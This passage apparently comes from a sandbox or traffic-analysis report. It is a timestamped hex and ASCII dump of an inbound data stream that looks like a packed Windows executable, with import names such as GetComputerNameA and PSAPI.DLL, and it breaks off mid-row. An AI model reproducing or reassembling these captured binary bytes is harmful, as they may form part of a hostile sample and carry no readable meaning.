$D)[f/~-"%J09hKq[Axu3MmHNu 2 =%)b:91@l{-Fh?lJya83+{Eo7nbF`VY5\|9\|?US)Xa'mOpd0yrvum.DPgR43XQJSz&U\:E
2023-05-10 00:21:17 UTC	2032	IN	Data Raw: 43 79 9c 6b 1e 4a a1 11 73 96 d5 58 7c db 2d 7d c7 8b e6 fc 01 2e a5 f7 9f 9c 4c f0 6b 88 df 31 14 95 61 6a 7f 38 a7 2c 69 43 32 3e 97 e9 f8 14 41 a4 a1 34 3c d9 ee b3 43 53 bf 01 a1 94 ff 86 a0 84 fc 9a 7a 72 cd 41 66 06 3a d8 17 d9 92 22 92 97 06 68 9a 6c 77 31 5c a0 2e e1 d8 66 2e d3 4a e0 83 77 33 e5 19 d1 ca d8 29 5b ff ea e6 36 54 31 9f 5c 57 8e 47 0f b1 9c b4 d1 fd 40 64 55 4e 66 59 dc e3 aa fd fb 5b af 43 6f 72 d9 e5 7a 6c 7b ed 72 c0 6d 81 99 eb 1e 4a ce 3c 42 93 c0 bd cc 25 e0 f7 16 b0 d5 2b 69 c0 c6 c5 50 32 17 9b 12 61 83 db 9c f4 a2 66 02 3d 34 a9 1d 02 f9 ac a0 9b aa de 78 8f da 70 d2 4b 9d 70 46 cb aa 58 a7 ec c1 5a 23 88 e2 24 1b c6 3a 95 2a 7e 0f 15 a7 7f b3 5a 73 c6 8d a8 37 3d 89 2d c3 e5 fd b7 78 bd 30 96 85 ca 6e a1 09 da d7 66 20 d6 Data Ascii: CykJsX\|-}.Lk1aj8,iC2>A4<CSzrAf:"hlw1\.f.Jw3)[6T1\WG@dUNfY[Corzl{rmJ<B%+iP2af=4xpKpFXZ#$:*~Zs7=-x0nf
2023-05-10 00:21:17 UTC	2048	IN	Data Raw: 6c f4 09 fa 2c 2d dd 4f a3 dc 83 82 48 8f a8 22 34 77 69 4c fe 08 8f b5 70 fb 23 5e 66 e8 90 df cc 7a 5e f7 70 55 22 3c 7a 6c b1 06 52 26 1e f6 57 03 07 e6 4f 85 67 d7 72 df b9 b6 8f 71 22 d1 7a c1 3b 77 20 37 89 f6 74 97 d1 41 64 9c 07 d5 f9 44 c2 b4 cd cc 96 ec 6c 43 ba 05 92 e2 b8 be ce 5a d6 d9 fd a2 80 1b e8 7d c4 e8 9b e1 66 05 be bd fa 03 94 8d 93 73 f7 db 10 ad e4 ae fe 1a 59 d1 27 7d 63 44 b9 a6 47 c6 3c a4 54 2f a0 9c 16 4c c4 6c 45 1c e6 f5 86 8b c6 61 bb 6d 18 73 24 92 ca 93 e2 d5 63 75 e9 e0 40 38 1d 7a a8 3e 06 04 25 7e e7 dc f0 44 e9 67 62 2c 46 13 27 a9 b2 72 82 d2 17 ca 1d a2 99 2b fc e2 11 26 74 d6 ef 97 c0 2d 3d 1a 53 27 59 e1 a3 f4 9a e6 87 0c c7 41 f5 5f 9c e0 f9 25 f9 7e e1 13 2f e5 fa 6b b7 cd f6 28 c6 21 63 73 b2 ed 2d 1b f7 fa fd Data Ascii: l,-OH"4wiLp#^fz^pU"<zlR&WOgrq"z;w 7tAdDlCZ}fsY'}cDG<T/LlEams$cu@8z>%~Dgb,F'r+&t-=S'YA_%~/k(!cs-
2023-05-10 00:21:17 UTC	2064	IN	Data Raw: a2 ab 52 11 8c 3b f3 c3 37 90 75 77 0b 86 07 a6 d8 bf 6a 52 94 ee 22 25 58 21 8c df 1c b0 8f 70 69 31 7e e6 c3 2d 11 c4 da bb 2a b0 47 48 9e cd 0a d4 64 83 ee 1e 3d 6a eb 84 a0 78 d7 ef 91 81 d9 88 39 b8 87 3b 8d 07 bf 64 e6 e5 10 19 5d 92 d6 a1 c4 f4 52 5f 38 08 cd a1 75 9c 36 79 a4 cb ea 10 95 e2 cc cc 82 dc 1b ae 18 32 c5 24 65 b3 bb fc 75 e5 32 5e 7c 41 80 c1 f4 7b 41 3f c3 61 ab c8 4d f6 fa 4c c4 7a 39 99 d1 e9 28 d9 fd 25 c9 86 f7 3c 23 5c a5 c4 e5 09 36 49 86 65 c1 20 43 d8 65 19 0b 9f 6f 09 5f 4d 2c a5 6f fb ce e2 32 ae e6 1c 28 1c c3 dc 07 d5 6f 5b 19 fa 9f d3 ea dc 3d b1 5c 07 d8 e8 c8 df 60 01 fe 17 a1 a1 94 bc 45 74 c2 e2 4b 88 4f 87 4b 78 28 5e 42 d2 d4 78 b0 ca f6 81 55 55 d7 3c 51 99 81 ff e2 25 8f b4 2b 73 ba b7 34 fb 04 e7 a7 3d ee 8d a3 Data Ascii: R;7uwjR"%X!pi1~-*GHd=jx9;d]R_8u6y2$eu2^\|A{A?aMLz9(%<#\6Ie Ceo_M,o2(o[=\`EtKOKx(^BxUU<Q%+s4=
2023-05-10 00:21:17 UTC	2080	IN	Data Raw: bc c8 39 28 4e 09 65 2c 2a e3 6d a1 0e cf f1 05 6d ad 00 3b 55 62 72 0d a2 56 55 98 ed c0 d6 eb b0 3a f5 61 51 d6 c1 90 e2 62 c6 fb d4 b6 7b 8a 10 00 2c a3 7a eb 90 10 66 20 0a 47 43 24 8e d6 d8 06 1c 53 71 c9 a2 94 d9 b9 1e db 05 24 6d 29 61 d9 3d 1e 84 51 84 18 6f b6 20 b6 af 66 87 59 b5 ca af e9 a1 d9 77 ea 86 96 7b b6 b0 1f d7 fa 56 d1 c1 ee 57 39 1b b0 65 54 57 4a 24 c6 c2 63 f4 f6 71 3b 79 f2 d5 0d cc ea 95 65 99 05 d6 81 f1 34 65 d8 99 24 40 1a ae 36 eb 1a 8b a6 d6 b0 49 c1 15 2c 13 41 c3 b6 bf 6c 68 78 12 ba 93 61 d0 9c 02 05 5d 9c ad 5d 33 38 7d b4 f1 a0 e0 33 ae 09 ee 70 7b 0f 47 01 a8 4c 6c c0 da e0 51 5c 40 17 a7 21 18 db 5f 85 56 e4 3d dd 07 84 b6 dc 53 a1 7d c4 3a 55 4c 1c 52 14 9b ad 8f 2a 85 3d 2e 14 a2 e2 79 6f d8 79 aa c6 95 ab d7 fa d5 Data Ascii: 9(Ne,mm;UbrVU:aQb{,zf GC$Sq$m)a=Qo fYw{VW9eTWJ$cq;ye4e$@6I,Alhxa]]38}3p{GLlQ\@!_V=S}:ULR=.yoy
2023-05-10 00:21:17 UTC	2096	IN	Data Raw: 2d ee cc 52 b1 fc 4f b9 7e b9 d9 b8 bc f4 09 91 0d 17 a2 fe db ee 8d 83 e5 34 5f 53 b2 76 ef 02 53 c1 af 24 a4 24 7c ac 1a e8 5f 93 d0 1a 3f 01 bd 51 0c 36 c6 f1 4e 8f d3 f7 40 a2 c0 97 c9 95 ef 7b f8 05 f2 6f 07 49 86 c6 5c c3 df 4f a0 b1 fe 92 95 b5 20 17 ae 66 19 99 1e bb 9a f1 44 8b c7 e8 d2 3b bf 50 2a ee af a2 5c 8f 9c ad db 4e 93 36 65 92 81 9d 01 b5 5c c5 ba c8 bd 80 02 b0 91 5d e1 59 e5 1e 6c 55 c9 c7 7d 03 c2 3d a1 f3 ad 6b d6 98 f6 e9 95 65 ff 41 33 93 9e 37 05 e9 69 53 5b cf ea 89 20 53 fb fe 32 aa 2b 24 aa 46 15 71 a8 3e 4e 97 36 ec f0 a4 ee b9 b1 bb 4e e1 db 82 3e b4 d6 da 54 b9 a1 ab cb d6 40 ae a8 cb 6a 3f 82 85 f7 c5 37 ea c8 6e e7 da 2d 91 5c 97 49 9d 3d d0 f9 b4 6b 01 6f 20 32 b8 64 fd 3f 58 71 14 ac de 8e 31 29 f7 a3 ea 44 a7 6f 44 57 Data Ascii: -RO~4_SvS$$\|_?Q6N@{oI\O fD;P*\N6e\]YlU}=keA37iS[ S2+$Fq>N6N>T@j?7n-\I=ko 2d?Xq1)DoDW
2023-05-10 00:21:17 UTC	2112	IN	Data Raw: b0 6f 57 ca 01 8b aa 25 bf 67 cc 18 38 9a 23 43 7e 60 51 6f e9 4d 11 aa e8 ff f9 3a 02 ff f1 78 88 56 07 82 50 51 87 7a 30 00 41 4e 72 73 82 d0 93 49 f9 06 da 9d 98 f5 55 7c 59 e5 21 9a 38 2a f3 75 9e b4 58 7f 0a 5f 07 a9 8e 64 af 21 bc 33 7a 9e 38 49 f5 71 66 27 b8 35 15 07 5f ca 29 01 fb 84 f3 9a f9 e3 09 2e 5e 5c bd 1d 1f 17 56 d5 43 bf 48 dd 6f f6 14 10 e1 e9 da 7f f3 58 ea 19 15 90 ce 94 9c cd 63 c6 ad bf 61 50 8e 6f ab 5f 62 ac 44 cb 76 c0 71 93 16 77 f5 77 e4 36 0f 98 1c 98 1e 1b 49 cc 5a 61 09 55 aa c4 5c 1f 4c 86 f5 7c 09 38 b2 3d e7 ea 01 92 fe bd 39 25 18 dc 0b e6 c0 a8 24 e2 23 84 73 f6 51 00 bc 69 3d d4 79 4b a6 0d 83 f0 41 22 d2 92 ad b7 6b d4 ec 2d 5b 48 18 22 bd ac a2 cc f0 f1 87 33 f9 3d aa 39 b2 16 93 e8 62 00 98 b4 0a b5 56 0a b7 53 60 Data Ascii: oW%g8#C~`QoM:xVPQz0ANrsIU\|Y!8*uX_d!3z8Iqf'5_).^\VCHoXcaPo_bDvqww6IZaU\L\|8=9%$#sQi=yKA"k-[H"3=9bVS`
2023-05-10 00:21:17 UTC	2128	IN	Data Raw: 84 77 84 bb a7 1e 0e 20 c5 3b 6a e7 73 47 b7 a0 46 c3 a3 93 1f 4b 07 d7 ee b2 77 9e 44 31 bf b6 18 e7 32 6a 70 a0 10 1a 8f 5e c2 19 56 72 58 3b d2 1e 2c 16 8c f7 29 a3 bc 40 67 19 25 38 15 d1 11 8d 6b 7b 91 c1 64 45 05 ea 22 d8 2d 8f 12 65 ad 2e 73 6b a3 07 ef db 6c 52 31 46 22 1b 14 53 fa 93 4d 0d ba 01 92 fa ef 08 b2 b8 32 aa 6b 47 17 19 fb d8 9a 88 04 ed 12 20 43 9c b4 af a8 49 6d f0 29 19 67 50 6b e2 03 0d 3a b0 5a b2 d6 20 2e 26 04 1d e0 34 66 37 3c 19 e8 0a 15 76 f9 56 95 78 cf 92 2b d6 86 89 a8 6d 3e 38 04 24 a8 44 6a 0a 61 40 33 d5 96 bf 08 3c 5f 59 3a 26 e7 7b 72 27 64 da 11 c4 1f 1b e1 1c de 1e 7d ae 59 82 fa cf 3e 35 f3 35 d0 5d 76 b6 62 11 31 e1 d1 71 62 a0 58 39 56 cc ba 07 ea 89 30 11 b2 03 9f 45 26 18 26 68 fe cd f8 83 61 9c 38 21 27 fe 17 Data Ascii: w ;jsGFKwD12jp^VrX;,)@g%8k{dE"-e.sklR1F"SM2kG CIm)gPk:Z .&4f7<vVx+m>8$Dja@3<_Y:&{r'd}Y>55]vb1qbX9V0E&&ha8!'
2023-05-10 00:21:17 UTC	2144	IN	Data Raw: 3b c9 29 10 91 e5 d7 0f a6 fc 39 2b 31 f6 d4 67 68 a4 50 28 19 64 e8 4f 2b 26 dd d6 d6 e6 50 cf 8c ed 1f de 63 91 ab a1 0e d7 3a 42 89 9e 15 10 34 89 8c 15 4d 86 89 64 e7 95 10 5d a1 d1 7f 79 4f 0d 77 41 62 ed 15 ea 16 5c c4 88 a3 64 36 37 32 bc 21 0e d9 a1 cf e5 79 20 05 30 7e 83 d2 13 39 6d 15 7b a5 8e 1f 78 78 35 c5 ed c8 cd 91 f1 7b ef 83 e5 81 61 ac 55 e3 9c 41 25 ab 4b 26 42 77 65 9f 7f cc 43 ac 08 06 60 f3 0a 31 44 c4 fc 48 5c 6c d4 c3 35 23 10 ca 9a 80 c8 5f 1a 5e c5 ae 16 1c 51 35 88 c3 8d a6 3f 9e 42 b1 b1 a8 4e 3f 0c ed 01 d7 05 4a 26 de 22 5d c9 31 a0 94 68 cb 8c 58 2e 8f c6 2e 05 99 d0 25 10 2f 40 97 c1 81 32 37 2a 2c 71 6e 7c 02 5a 01 7f 58 19 72 e1 ef 36 12 4e d8 3d 68 92 76 3c e5 aa 5e 9a 37 80 69 20 6a 26 f9 35 3b 63 80 3b eb 83 ed ee a4 Data Ascii: ;)9+1ghP(dO+&Pc:B4Md]yOwAb\d672!y 0~9m{xx5{aUA%K&BweC`1DH\l5#_^Q5?BN?J&"]1hX..%/@27*,qn\|ZXr6N=hv<^7i j&5;c;
2023-05-10 00:21:17 UTC	2160	IN	Data Raw: af 1f f5 d1 51 86 22 b5 d1 af 08 b4 37 2d 50 25 85 14 d6 af 54 a8 ee 2f ae 6a c2 c5 22 50 2c ac 5f db 51 6c 9c 84 d9 51 d1 39 f6 d8 af a0 2c 56 2a ae 9e 2a 43 38 ae 8d 1d 15 38 ae 50 a8 55 38 50 82 22 bb 9c 8d 1a 93 2c 6f 72 1f e0 27 f2 3a 87 b4 c8 af 1f c9 46 e9 8d 41 f7 6b 0b e5 2d 98 9f 8d f2 0b f5 f2 3a 4b ac 30 45 a5 83 f4 e3 f1 c4 e1 8d 2f 6f 47 08 d3 3f 3b 3f af 4a 80 b3 64 72 21 c5 cc fb 3a 53 7c 8b 1a 79 1f 91 8d 84 47 26 08 65 6e 73 cf 51 d6 27 c0 81 6c f9 3e 4c a2 a5 0d 6f bf f0 73 a5 67 cf cb 51 07 21 c8 23 5e 48 47 59 bc 9c 64 e0 40 0b d4 2f 58 8b cf c5 59 d2 dd 16 59 bc 55 ca c1 b3 e2 86 04 a3 43 fb c9 bb b2 f4 45 12 82 9f a4 40 05 82 9f 8c f6 55 da 43 28 7b 7a 46 ab 3a 15 91 7f 90 74 2c bc 0b e1 7f b0 54 59 b5 76 60 1b 94 05 42 47 52 f2 f5 Data Ascii: Q"7-P%T/j"P,_QlQ9,V**C88PU8P",or':FAk-:K0E/oG?;?Jdr!:S\|yG&ensQ'l>LosgQ!#^HGYd@/XYYUCE@UC({zF:t,TYv`BGR
2023-05-10 00:21:17 UTC	2176	IN	Data Raw: f3 3e 10 c6 a1 31 36 73 ca d5 0e 4d 5c db 03 18 2c 13 53 0a c2 4e a7 44 06 1f 2b 82 2f 14 c4 91 02 7e ab 15 5d a2 cd 2e 6f 22 31 3b 2b e9 fc 4c 51 f7 64 0a 49 4d 0d 79 ae b5 9d ea 40 33 b3 6d fd d6 63 ff 26 9b 3f 26 5a 1c 19 ef 54 37 7f d9 c9 88 c7 a1 31 36 37 c4 ab 96 ce df b0 ff fc 52 91 0e 92 a2 ee be e2 6b b0 7a 9e 83 03 49 e7 da cf 83 63 36 56 08 7d 75 43 29 4f 23 e5 9d 4e eb 54 c8 29 ef 33 88 c6 a1 31 36 6f e2 40 96 9a 8a d4 50 f7 c6 f8 3c 7e 12 9e b3 e3 9e cf ad 9f 50 72 02 f0 e5 89 3c 5a ad 1c 75 c2 28 b7 a9 0e 5c bb 4d 56 d4 b7 2d c6 74 7b dc 25 1f 15 79 9a c7 a1 31 36 4e 20 ff 7b bc ac 95 03 6d 6d 04 58 7f 41 0d ec 1d ca 07 d3 43 48 86 49 b6 77 ea a6 58 5e 47 f9 c6 d0 06 84 f2 e5 d8 1f c9 9b f5 d9 58 25 88 99 c6 a1 31 36 03 c6 0c 78 fb eb e0 ca Data Ascii: >16sM\,SND+/~].o"1;+LQdIMy@3mc&?&ZT7167RkzIc6V}uC)O#NT)316o@P<~Pr<Zu(\MV-t{%y16N {mmXACHIwX^GX%16x
2023-05-10 00:21:17 UTC	2192	IN	Data Raw: cc 86 08 5c 4a c5 b2 02 9c ee 52 72 05 3c a7 1e 58 f0 a3 40 0e 3a 06 7c 3e 56 ef 2a dc c4 72 d7 ef 43 b8 43 b9 e4 83 57 7c 40 28 f6 68 21 80 c5 a1 e8 e5 92 3e 00 4c 5d 90 9e b7 ac 66 37 8f 85 d6 0d 03 61 b5 c6 c2 27 70 ef 95 47 ce 8f c0 1f e3 74 61 ec c8 a0 7b 61 8f 02 e2 39 70 33 b4 f9 88 9e 07 c7 83 f6 9e b0 3e fa d0 8f 5b 0c 6f 6c 61 bf 04 a3 c2 70 2d 4e c8 f6 9e 2d 2e 07 d2 8f 07 cd 82 3b 70 98 37 26 81 9e c4 00 65 8e 9e 47 da 27 cc 8f eb bc 3c 7d 61 0f a4 fb 91 89 16 1f f0 6f 96 45 60 73 03 ec 5d 7e 09 61 6e a0 8e 68 b6 34 2f 2d 5a 9e 61 8b 79 0e a4 db 6e 96 00 27 c4 73 ec fc 1e 6d 61 7f db 52 8b 88 c3 6e 81 21 ed d1 e9 a2 7d 9e d8 f4 49 3e e7 83 76 1f 9d 2e e1 6c e0 c3 63 04 8c ea 63 ff 7b 4c ed c3 1e 7f 66 18 5c 51 77 04 ee 83 97 07 d1 c2 23 f5 f3 Data Ascii: \JRr<X@:\|>V*rCCW\|@(h!>L]f7a'pGta{a9p3>[olap-N-.;p7&eG'<}aoE`s]~anh4/-Zayn'smaRn!}I>v.lcc{Lf\Qw#
2023-05-10 00:21:17 UTC	2208	IN	Data Raw: c8 6b 8c c1 cf 24 06 3e c2 2a 3b dd af d1 15 04 c2 e2 11 e2 f2 89 d1 40 8e 9f 63 50 56 66 77 c8 8c 6e 21 31 57 86 9f f1 e0 c5 2b c9 35 25 83 e3 10 43 52 29 8b 46 31 20 6e 81 d6 19 09 99 b8 77 aa bb 61 b0 d1 ad bc 7e fd 11 aa ba 35 ce 40 8e 9f df 4f 56 16 07 74 93 6e 41 51 eb 99 9f 11 00 79 34 c9 1d 0d 3f fc 10 93 82 97 13 7e 00 c4 58 27 c6 69 3a 2b 47 8d 8a a0 19 60 8a 19 33 1a ab e9 0e b3 2c e2 dd 16 f5 b1 db 03 b4 cc fb 38 d4 ef 49 54 8d 9d 2e f9 0c 70 6a 55 b1 a2 84 41 ea 07 ee 16 d5 d6 9b ee 5c 36 c9 16 cb b8 25 3a 8c f9 9f 9e 71 1f fa 54 85 5e 9f cc 1d e9 7e d9 51 24 5f 44 e0 1b c7 98 17 65 b4 72 a9 5e 2a a2 eb 95 56 33 09 32 09 ee 93 f9 06 17 6b 41 a9 b8 b2 55 0d 38 25 75 a6 30 07 27 37 c5 9e 63 ac 97 b5 93 88 af 92 38 ef 43 92 b2 6d 30 8d ad 93 6d Data Ascii: k$>;@cPVfwn!1W+5%CR)F1 nwa~5@OVtnAQy4?~X'i:+G`3,8IT.pjUA\6%:qT^~Q$_Der^V32kAU8%u0'7c8Cm0m
2023-05-10 00:21:17 UTC	2224	IN	Data Raw: 4f 1b 32 e2 aa cc 69 97 10 4b d3 6c fa be c6 31 9d 27 0d c2 34 d5 65 be fe e4 8a 36 cd ae f6 41 3c 7e 2e 12 8e 7d 10 ff ad f8 09 50 eb c7 1f fe 2a ea 68 23 07 3d d7 ae 6f d8 22 7b e2 af 7d b4 f7 f4 52 89 f7 66 d7 a1 3f 51 49 69 88 58 93 23 b6 af 6b 98 0c 52 10 dd aa a5 3e 18 5e d3 19 ac c2 2c 5e e5 fd a4 f6 75 b5 97 4c 7e 51 f2 ea 4c 11 7d cd e0 0c a3 14 f6 9d 94 51 9f 21 25 5e 95 a1 d5 fe ed 9f 62 d2 d6 a1 7a 4a 27 f8 a6 94 29 ee de a1 b5 e6 d4 1c 9f ed 02 34 c8 a1 9e 59 3e 04 fb 75 1b 76 3f 5e ce c8 74 c1 24 11 c7 a6 28 5b 99 fa 2d a1 ee 87 a9 2a 1b ee c2 ca 0d 08 fd cd 9d 09 fb 85 5f 20 be 31 8a 22 a2 13 a2 96 ab a9 c0 52 5d 30 79 76 bf 42 d2 e3 82 4f 29 8a 31 20 02 45 1b 22 96 d2 9d df 88 0a 3b c5 61 56 dd b5 35 17 6c 39 46 b9 70 fb 53 07 de 66 1b c9 Data Ascii: O2iKl1'4e6A<~.}Ph#=o"{}Rf?QIiX#kR>^,^uL~QL}Q!%^bzJ')4Y>uv?^t$([-_ 1"R]0yvBO)1 E";aV5l9FpSf
2023-05-10 00:21:17 UTC	2240	IN	Data Raw: 83 25 03 a0 c0 fc 25 5d 14 d3 39 da b1 a1 89 e7 25 35 bf 09 e9 25 26 79 5b 6a da d5 51 d6 1f da e5 b7 48 27 da 5a 09 f6 af 25 dc 70 cc 33 da 65 72 53 c1 25 5a 0d 5b 8d 25 c9 76 4d f2 25 ef 7a 5e 37 da d3 c7 04 e9 25 8f 31 84 e7 25 e8 3c 40 f8 85 00 00 47 65 74 43 6f 6d 70 75 74 65 72 4e 61 6d 65 41 00 90 c9 29 91 92 83 ff 78 59 17 af 1d 9a bb f7 4a 6e 0d c9 03 da 00 b4 11 4d 2b fa de dd d4 23 e2 ca 3d 92 be db 14 37 ab f4 38 8f 3c 2e 5b 8d 76 6d 9e 03 70 c9 d6 d6 ad 84 e6 51 60 e1 16 82 a5 fc e1 5c 55 da 71 c4 b8 96 69 eb f6 9f c9 3a 78 f5 54 72 9d f8 c3 1d 26 b5 be 5e 24 a8 07 87 14 c7 cf 2c 02 bb 72 22 c5 b2 e3 8f 5d b6 fa 4d 7b 56 51 4c 01 e9 b6 7d d1 37 cd a8 34 b3 f3 fe fe ff 9b 84 a2 69 17 b5 f4 3f 45 74 4c 05 b7 7c ea cc f7 57 47 fa 5f a4 d2 f0 31 Data Ascii: %%]9%5%&y[jQH'Z%p3erS%Z[%vM%z^7%1%<@GetComputerNameA)xYJnM+#=78<.[vmpQ`\Uqi:xTr&^$,r"]M{VQL}74i?EtL\|WG_1
2023-05-10 00:21:17 UTC	2256	IN	Data Raw: 70 34 3b 47 d5 2f e9 77 71 b2 7c 34 07 63 cd d5 e9 e2 ae 36 e1 cb 99 b7 89 9c 59 53 7f 0e 34 e2 1a b5 73 34 ef 2d 6c e7 dc 95 a6 21 e8 48 40 31 76 34 9c b3 6f e6 5c 4d 4f 89 ba 11 69 fc cb 26 f9 2a 18 43 77 be 21 16 57 48 9d 7b 98 66 7a 5f e4 6d 36 10 77 81 c5 67 4b 7f a4 cb b7 fe 3a ec b7 6c 20 a9 77 17 78 5d aa 77 84 01 23 59 88 9c 19 02 21 88 18 ff 90 58 88 c2 10 4b ab 77 21 4c 1b db 77 ae 0e 0a 55 88 c2 e5 20 5b 88 07 9e fd af 77 15 e4 7c d3 77 d4 1e 29 4b 88 c3 ec 9d 5e 88 00 fd e3 ad 77 70 fd c2 d5 77 fb cb 50 ac 77 81 fc 8b 5f 88 cd e0 db 2f 88 02 b2 ca a1 77 69 04 ab 31 6b 00 00 49 6e 74 65 72 6c 6f 63 6b 65 64 46 6c 75 73 68 53 4c 69 73 74 00 51 92 ba 71 6f 3b 4c b1 8f 5d a5 d6 48 8e 55 b5 0d 4a 8e f8 10 7f 4b 70 ed 4d df b9 71 83 33 ca ab 71 68 Data Ascii: p4;G/wq\|4c6YS4s4-l!H@1v4o\MOi&*Cw!WH{fz_m6wgK:l wx]w#Y!XKw!LwU [w\|w)K^wpwPw_/wi1kInterlockedFlushSListQqo;L]HUJKpMq3qh
2023-05-10 00:21:17 UTC	2272	IN	Data Raw: 75 a6 6f 39 55 74 59 19 37 7d e4 e7 d4 a6 e3 55 72 6d 94 eb c2 0c 89 99 7f ad da 25 8f 8f 36 40 4b fb bc f1 be 60 7c b7 c0 07 6a 93 a0 3f 00 7e cc 8a 04 48 c4 51 cb 9f 59 e3 a9 8c 9e a6 63 e3 cb e9 dd 91 58 79 04 22 14 1f 74 09 63 f8 57 2a 43 c2 70 1b f0 dd 0b 36 72 0a e3 5c 1d c0 53 47 00 06 22 87 c2 59 0f 63 f6 47 c7 7e cd 3e 2f 6d 72 5f 65 32 11 63 60 0e ee 6b c1 7c c6 c6 c9 b0 83 41 07 7b 28 c9 8b 57 58 a4 d6 b7 6d 83 df 68 06 a2 a7 79 21 fc b2 a7 91 c9 cc 4f 99 45 77 a6 9c 7f ca 35 43 58 1e ad 5d 42 19 84 a4 11 8a 6e 8b 49 58 f6 28 15 a2 66 6e c2 bb ff 55 aa fa db 02 f0 87 6b 6b 3a 5e 45 63 d8 d3 05 49 04 f6 1f 3b 15 7a 5f 45 e2 ff e2 f2 89 78 75 18 0d f9 0f cf 1e 0d 98 49 ff ec f2 25 a3 73 e0 f2 55 41 fd 16 0d fa 1f 91 1e 0d 29 60 fa 1d 0d 8c 24 0e Data Ascii: uo9UtY7}Urm%6@K`\|j?~HQYcXy"tcW*Cp6r\SG"YcG~>/mr_e2c`k\|A{(WXmhy!OEw5CX]BnIX(fnUkk:^EcI;z_ExuI%sUA)`$
2023-05-10 00:21:17 UTC	2288	IN	Data Raw: 63 b2 4a fe d0 14 d8 3c a1 e9 41 ac 51 35 cb 73 a8 4d 85 59 18 bf e4 4c 69 75 4b 08 62 6a 06 cc 1f 68 37 f0 1c a6 a5 02 cc 1b 01 53 a3 54 cd e2 f5 33 e2 ad c6 81 72 09 fe 7b 3b 67 1c 41 77 bb 5c 75 d6 93 c4 57 ac 87 01 cc b9 40 9a 5a 92 88 aa 89 c4 ee d5 74 0b cc e2 cc 21 7e 8d 8c 9b 9b 44 48 6b 34 6c 3b 45 74 57 e4 e2 98 4c f3 33 e5 b2 50 6b 5b bc f4 ac ef e8 fc 8d a9 65 4a fa 29 1c ad 51 35 df 1e 9f e1 c3 4a a9 a2 7b 6f ce d0 e1 90 dc 62 0e 3c 4d 11 92 3b 1e 0e 7a 72 e5 3d f9 9b 41 b3 e1 45 39 1c 1e c2 a6 0e c9 55 1e 03 67 04 e7 3d fb 61 a0 bb e1 ff 7d 0a 9d 71 19 8c 4f 1e 3e c4 e1 bd e1 e5 d4 3e 25 69 b4 cb 1d 3c af 2f 00 b8 e1 87 75 9b 25 29 cf ef 1d ac 8b 46 4f 1e b8 0b b4 d4 96 8e 9c 12 c2 b8 ff 60 f5 42 41 1b 6d ce ac 51 35 a7 9f ba 9d 85 63 e0 af Data Ascii: cJ<AQ5sMYLiuKbjh7ST3r{;gAw\uW@Zt!~DHk4l;EtWL3Pk[eJ)Q5J{ob<M;zr=AE9Ug=a}qO>>%i</u%)FO`BAmQ5c
2023-05-10 00:21:17 UTC	2304	IN	Data Raw: ab 10 da a6 16 01 e2 e1 f5 00 1a 21 42 8c f9 80 47 ce 65 c1 b3 3c 71 82 17 ce bb 88 4a fa 5c 0a 7f e7 a1 cc 47 96 cf 03 f8 80 32 ec 27 04 da 6c e0 dc 65 c4 85 ea 80 b9 c7 8d 04 da 21 23 fa e5 a0 cd f3 6e ca 61 35 e3 cd 9c 16 ca 9a c8 ce 68 8b 65 a4 dd c0 b3 64 50 09 2d de e9 8c d5 76 26 3c 56 fb b8 f3 d5 a9 bd fa 07 f1 9a 0e d2 3a c6 e5 17 69 bc c6 a2 fd a9 2f 45 8b 13 f3 46 9e 00 56 6f c4 55 23 a5 a0 08 14 f3 f5 60 12 fe cc fa 82 ae 00 73 52 c3 06 d5 a9 7e 8d 6a 50 56 61 03 86 fd 8c f1 10 f9 8c 3c 91 20 6b a9 e1 bf 50 19 73 5c 25 28 b3 6a 1e 5a 56 02 5c 64 1f 73 68 4f 1e b3 cd 54 09 78 23 88 fb f6 e4 48 f9 be 3d 2a 85 0e 92 0f c1 a7 c7 28 df b7 ff d3 75 ac 25 1a 52 40 3c da 4b 58 df ce 25 40 07 d7 82 25 63 3c c1 fd 25 bd 20 d2 38 da e1 2d 88 e6 25 85 1b Data Ascii: !BGe<qJ\G2'le!#na5hedP-v&<V:i/EFVoU#`sR~jPVa< kPs\%(jZV\dshOTx#H=*(u%R@<KX%@%c<% 8-%
2023-05-10 00:21:17 UTC	2320	IN	Data Raw: 26 3d 5f 25 51 7c a2 97 31 2b d9 8c 7a b4 5c 83 cb b6 72 c2 a6 92 25 c3 3e 7c 98 95 86 38 d9 06 d7 bd d8 83 0b 7a 35 b4 29 f1 e4 39 7c 31 10 8f 35 7c c5 6b 41 c2 26 4f f2 30 59 8e b1 1a 00 7c fd af 27 3d d9 fd ec f0 66 b4 ba c3 83 9c 4a ee ca 26 f5 1e 39 19 37 88 cc ae 36 72 fa 28 31 80 bc 73 e8 2d 2f d2 47 79 d4 0f dd 91 77 0e e5 5b 31 9b 25 47 0b 2c f0 25 97 dd b2 c8 25 dc ab 0c 40 da 66 c2 36 dc 25 07 20 a9 2e da 34 77 a1 62 da 5f c4 b7 1d da fd 88 a4 d8 25 d9 e5 fe 06 da 7d f3 7e 08 da 26 bd 2c 8b 25 81 f5 a1 fe 25 f5 4b 3f c6 25 0a bd 81 4e da 4c fc bb d2 25 09 3e 24 20 da 0e 51 2c 6c da 49 c2 3a 13 da f7 50 fd e6 a5 50 53 41 50 49 2e 44 4c 4c 00 b1 84 46 27 73 c0 7a 35 47 10 fb e0 07 60 ef 10 73 04 ab 58 b7 f3 32 e2 b8 a7 b5 af db b6 7d 8c e5 38 a1 Data Ascii: &=_%Q\|1+z\r%>\|8z5)9\|15\|kA&O0Y\|'=fJ&976r(1s-/Gyw[1%G,%%@f6% .4wb_%}~&,%%K?%NL%>$ Q,lI:PPSAPI.DLLF'sz5G`sX2}8
2023-05-10 00:21:17 UTC	2336	IN	Data Raw: 56 93 9e df 60 3e b5 ae 93 3d 62 36 ee 43 ee ba 23 90 87 80 96 3f f8 76 b9 59 e3 27 68 db 5d ce 93 ff f5 b7 75 41 1f f0 8e fb 51 f7 f4 bc ab 92 5c 6e 06 26 d3 80 b0 af 75 61 0b 84 c7 53 51 a4 69 9b d0 11 d7 fa 43 c5 6f c3 a4 6f d9 07 d1 1d a0 05 d8 bf 81 62 ed 08 29 d4 fa 0c c9 a0 ca 00 f3 09 a8 9f fa 0c 26 5b e0 f1 0c bf b6 2a 0c f3 5f 7a 98 f8 0c bd 00 f8 07 f3 07 9a 38 00 f3 e9 60 20 04 f3 ca 8b cd f9 0c 59 08 72 03 f3 5a 77 ef fc 0c 07 66 c6 f8 0c df 56 93 02 f3 e8 9d ec 09 f3 79 20 26 f4 0c e9 5c 94 00 f3 9b 86 f4 ff 0c b1 84 34 f8 0c c7 f6 2c fc 0c bc ff 8a fc 